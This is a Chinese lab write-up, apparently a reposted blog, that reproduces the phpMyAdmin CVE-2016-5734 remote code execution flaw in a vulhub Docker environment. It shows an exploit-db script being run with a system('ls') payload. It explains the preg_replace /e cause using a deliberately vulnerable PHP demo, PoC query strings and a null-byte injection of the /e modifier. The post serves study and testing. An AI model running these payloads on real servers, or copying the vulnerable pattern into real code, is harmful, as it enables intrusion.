ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)

2021-05-16 11:32:16  阅读:250  来源: 互联网

标签:phpMyAdmin 4.6 preg replace 漏洞 代码执行 版本 php


漏洞简介

Phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可以使用Web接口管理MySQL数据库。

借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表

影响版本

利用条件:需要知道数据库账号密码

 

Phpmyadmin -> 4.0.10.16之前的4.0.x版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了

环境搭建

攻击机kali:192.168.117.129
靶机IP:192.168.117.128
靶机环境: kali
使用的是Docker + Docker-compose 开源项目vulhub

启动命令:docker-compose  up -d

查看是否启动:docker ps

(默认的映射端口是8081,我改成了8081)

 

 

 

复现过程

先访问一下网站(账号是root,密码是root)

 

 

 

我们用kali自带的searchsploit工具搜索漏洞。

命令:

searchsploit phpmyadmin

 

 

 

sudo find / -name 40185.py

 

 

 

进入该文件夹,查看该文件

cd /usr/share/exploitdb/exploits/php/webapps/ && cat 40185.py 

 

 这里写有该脚本的用法。

--pwd,后填上phpmyadmin的密码

-c,后面是要执行的php代码

 

exp利用:

python3 40185.py -u root --pwd="root" http://192.168.117.128:8081 -c "system('ls');"

 

 

 漏洞成因

preg_replace函数:
preg_replace 函数执行一个正则表达式的搜索和替换。

 

preg_replace \e 的作用:
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

preg_replace漏洞触发有两个前提:
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。

 

测试一下利用\e实现代码执行:

<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];

$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>

poc:

?raw=a&replace=system("ls")&text=larry

如果我们的demo变成了如下的代码,还会有漏洞吗?

<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];

$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>

其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。

poc:

?raw=a/e%00&replace=system(%22ls%22)&text=larry

 

出处:CVE-2016-5734 Phpmyadmin后台代码执行漏洞复现_丶没胡子的猫-CSDN博客



 

标签:phpMyAdmin,4.6,preg,replace,漏洞,代码执行,版本,php
来源: https://www.cnblogs.com/lthlsy/p/14773290.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有